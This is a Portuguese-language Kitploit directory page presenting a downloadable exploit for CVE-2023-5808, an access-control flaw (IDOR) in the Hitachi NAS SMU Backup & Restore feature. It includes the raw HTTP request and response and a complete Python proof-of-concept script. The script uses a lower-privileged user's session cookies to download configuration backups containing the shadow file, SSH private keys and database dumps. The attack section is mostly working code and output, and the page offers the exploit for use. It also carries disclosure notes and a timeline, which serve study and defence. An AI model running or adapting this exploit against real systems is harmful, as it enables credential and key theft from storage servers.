Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2023-5808 — Exploit para CVE-2023-5808, um IDOR no Hitachi NAS SMU Backup & Restore, permitindo download não autorizado de backups de configuração sensíveis. | Kitploit
Ferramentas/GitHubGitHub/arszilla/cve-2023-5808
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebExfiltração de DadosColeta de InformaçõesTestes de Penetração
GitHubarszilla/cve-2023-5808

CVE-2023-5808

Exploit para CVE-2023-5808, um IDOR no Hitachi NAS SMU Backup & Restore, permitindo download não autorizado de backups de configuração sensíveis.

Ver Repositório
21há 2 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2023-5808

CVE-2023-5808 é uma vulnerabilidade de Insecure Direct Object Reference (IDOR) encontrada na funcionalidade Backup & Restore da System Management Unit (SMU) do Hitachi NAS (HNAS). Esta vulnerabilidade afeta versões do SMU anteriores a 14.8.7825.01.

Exploração

Este exploit requer que o atacante tenha controle sobre as credenciais de uma conta de usuário que não seja Read-Only ou Global Administrator, ou seja:

  • Storage Administrator
  • Server Administrator
  • Server + Storage Administrator
  • Por design, usuários com a função Global Administrator devem ter acesso à funcionalidade Backup & Restore do SMU, localizada em https://<HOSTNAME/FQDN/IP>/mgr/app/action/admin.SmuBackupRestoreAction/eventsubmit_doperform/ignored e enviar a seguinte requisição, que criaria e baixaria um backup (não criptografado/sem senha):

    root@kitploit:~
    GET /mgr/app/template/simple%2CBackupSmuScreen.vm/password/ HTTP/1.1
    Host: REDACTED
    Cookie: JSESSIONID=REDACTED; JSESSIONIDSSO=REDACTED
    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Dnt: 1
    Referer: https://REDACTED/mgr/app/action/admin.SmuBackupRestoreAction/eventsubmit_doperform/ignored
    Upgrade-Insecure-Requests: 1
    Sec-Fetch-Dest: document
    Sec-Fetch-Mode: navigate
    Sec-Fetch-Site: same-origin
    Sec-Fetch-User: ?1
    Te: trailers
    Connection: close
    
    

    Se a requisição for bem-sucedida, o SMU responde com a seguinte resposta e inicia o download de smu_2023-04-12_1543+0200.zip:

    root@kitploit:~
    HTTP/1.1 200 
    Cache-Control: PRIVATE
    Expires: Thu, 01 Jan 1970 00:00:00 GMT
    Strict-Transport-Security: max-age=31536000;includeSubDomains
    X-Frame-Options: SAMEORIGIN
    X-Content-Type-Options: nosniff
    X-XSS-Protection: 1; mode=block
    P3P: CP="NOI DSP CUR ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
    Pragma: cache
    Content-Disposition: attachment;filename=smu_2023-04-12_1543+0200.zip
    Content-Type: application/download
    Content-Length: 1831412
    Date: Wed, 12 Apr 2023 13:43:15 GMT
    Connection: close
    Server: SMU
    
    [DATA]
    

    No entanto, devido a uma falha na lógica de negócios do SMU, um atacante com acesso a uma conta Storage Administrator, Server Administrator ou Server + Storage Administrator pode atualizar os cookies JSESSIONID e JSESSIONIDSSO para corresponder aos cookies do usuário que ele possui, permitindo-lhe baixar o arquivo de backup.

    Assim, um script como CVE-2023-5808.py poderia ser usado para explorar esta vulnerabilidade:

    root@kitploit:~
    #!/usr/bin/python3
    #
    # Title:            Hitachi NAS (HNAS) System Management Unit (SMU) Backup & Restore IDOR Vulnerability 
    # CVE:              CVE-2023-5808
    # Date:             2023-12-13
    # Exploit Author:   Arslan Masood (@arszilla)
    # Vendor:           https://www.hitachivantara.com/
    # Version:          < 14.8.7825.01
    # Tested On:        13.9.7021.04        
    
    import argparse
    from datetime import datetime
    from os import getcwd
    
    import requests
    
    parser = argparse.ArgumentParser(
        description="CVE-2023-5808 PoC",
        usage="./CVE-2023-5808.py --host <Hostname/FQDN/IP> --id <JSESSIONID> --sso <JSESSIONIDSSO>"
        )
    
    # Create --host argument:
    parser.add_argument(
        "--host",
        required=True,
        type=str,
        help="Hostname/FQDN/IP Address. Provide the port, if necessary, i.e. 127.0.0.1:8443, example.com:8443"
        )
    
    # Create --id argument:
    parser.add_argument(
        "--id",
        required=True,
        type=str,
        help="JSESSIONID cookie value"
        )
    
    # Create --sso argument:
    parser.add_argument(
        "--sso",
        required=True,
        type=str,
        help="JSESSIONIDSSO cookie value"
        )
    
    args = parser.parse_args()
    
    def download_file(hostname, jsessionid, jsessionidsso):
        # Set the filename:
        filename = f"smu_backup-{datetime.now().strftime('%Y-%m-%d_%H%M')}.zip"
    
        # Vulnerable SMU URL:
        smu_url = f"https://{hostname}/mgr/app/template/simple%2CBackupSmuScreen.vm/password/"
    
        # GET request cookies
        smu_cookies = {
            "JSESSIONID":       jsessionid,
            "JSESSIONIDSSO":    jsessionidsso
            }
    
        # GET request headers:
        smu_headers = {
            "User-Agent":                   "Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0",
            "Accept":                       "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
            "Accept-Language":              "en-US,en;q=0.5",
            "Accept-Encoding":              "gzip, deflate",
            "Dnt":                          "1",
            "Referer":                      f"https://{hostname}/mgr/app/action/admin.SmuBackupRestoreAction/eventsubmit_doperform/ignored",
            "Upgrade-Insecure-Requests":    "1",
            "Sec-Fetch-Dest":               "document",
            "Sec-Fetch-Mode":               "navigate",
            "Sec-Fetch-Site":               "same-origin",
            "Sec-Fetch-User":               "?1",
            "Te":                           "trailers",
            "Connection":                   "close"
            }
    
        # Send the request:
        with requests.get(smu_url, headers=smu_headers, cookies=smu_cookies, stream=True, verify=False) as file_download:
            with open(filename, 'wb') as backup_archive:
                # Write the zip file to the CWD:
                backup_archive.write(file_download.content)
    
        print(f"{filename} has been downloaded to {getcwd()}")
    
    if __name__ == "__main__":
        download_file(args.host, args.id, args.sso)
    

    A justificativa da pontuação CVSS v3.1 de 7.6 pode ser melhor compreendida examinando o conteúdo de smu_2023-04-12_1543+0200.zip:

    root@kitploit:~
    $ tree -a
    .
    ├── adc_replic
    │   ├── backup.properties
    │   ├── mig_policies
    │   │   ├── MIGR_TEST_POL
    │   │   │   ├── 1
    │   │   │   │   ├── config
    │   │   │   │   └── lockfile
    │   │   │   ├── config
    │   │   │   └── lockfile
    │   │   └── next_schedule
    │   ├── mig_rules
    │   │   └── MIGR_TEST
    │   ├── pkgHandler.xml
    │   ├── replic_policies
    │   ├── replic_rules
    │   ├── replic_schedules
    │   │   └── next_schedule
    │   └── replic_scripts
    ├── backup.properties
    ├── mgr
    │   ├── axalon.properties
    │   ├── backup.properties
    │   ├── banner.txt.disabled
    │   ├── managedservers.json
    │   ├── pkgHandler.xml
    │   ├── systemmonitor_1.xml
    │   ├── systemmonitor_2.xml
    │   └── systemmonitor_3.xml
    ├── network
    │   └── yp.conf
    ├── postgresql
    │   ├── backup.properties
    │   ├── config_pgdump.tar
    │   ├── pkgHandler.xml
    │   └── rolledupstats_pgdump.tar
    ├── quorumdev2
    │   ├── backup.properties
    │   ├── CB-HNAS1-CLU
    │   │   └── cluster.conf
    │   ├── HH-HNAS1-CLU
    │   │   └── cluster.conf
    │   └── quorumdev2.conf
    ├── quorumdevice
    │   └── backup.properties
    ├── readyToShip
    │   ├── backup.properties
    │   ├── pkgHandler.xml
    │   ├── ssh_host_dsa_key
    │   ├── ssh_host_dsa_key.pub
    │   ├── ssh_host_key
    │   ├── ssh_host_key.pub
    │   ├── ssh_host_rsa_key
    │   └── ssh_host_rsa_key.pub
    ├── server-tools
    │   ├── backup.properties
    │   ├── ldap.conf.rb
    │   ├── massage-commands-for-managed-servers
    │   ├── ypcat-group
    │   └── ypcat-passwd
    ├── smu_users
    │   ├── backup.properties
    │   ├── manager
    │   │   └── ssh
    │   │       └── known_hosts
    │   ├── pkgHandler.xml
    │   ├── root
    │   │   └── ssh
    │   │       └── known_hosts
    │   └── shadow
    └── tomcat
        ├── backup.properties
        ├── nas.keystore
        └── pkgHandler.xml
    
    25 directories, 49 files
    

    O arquivo .zip contém vários arquivos relativos à configuração do SMU. Os arquivos incluídos são (mas não se limitam a):

    • O arquivo /etc/shadow do SMU, contendo hashes de senhas CLI de cada usuário,
    • Chaves privadas PEM DSA, PEM RSA e OpenSSH RSA1,
    • Dump do banco de dados PostgreSQL.

    Notas

    Esta vulnerabilidade é uma "vulnerabilidade irmã" de CVE-2023-6538.

    Referências

    • CVE-2023-5808
    • CVE-2023-6538
    • Hitachi Vantara Security Bulletin for CVE-2023-5808

    Cronologia

    • 2020-04-12 - Vulnerabilidade descoberta
    • 2023-04-20 - Vulnerabilidade reportada para [email protected]
    • 2023-08-11 - Atribuição inicial do número CVE
    • 2023-12-06 - Números CVE reatribuídos
    • 2023-12-11 - Números CVE reatribuídos
    • 2023-12-11 - CVE publicado
    • 2023-12-13 - Divulgação pública
    Baixar ferramenta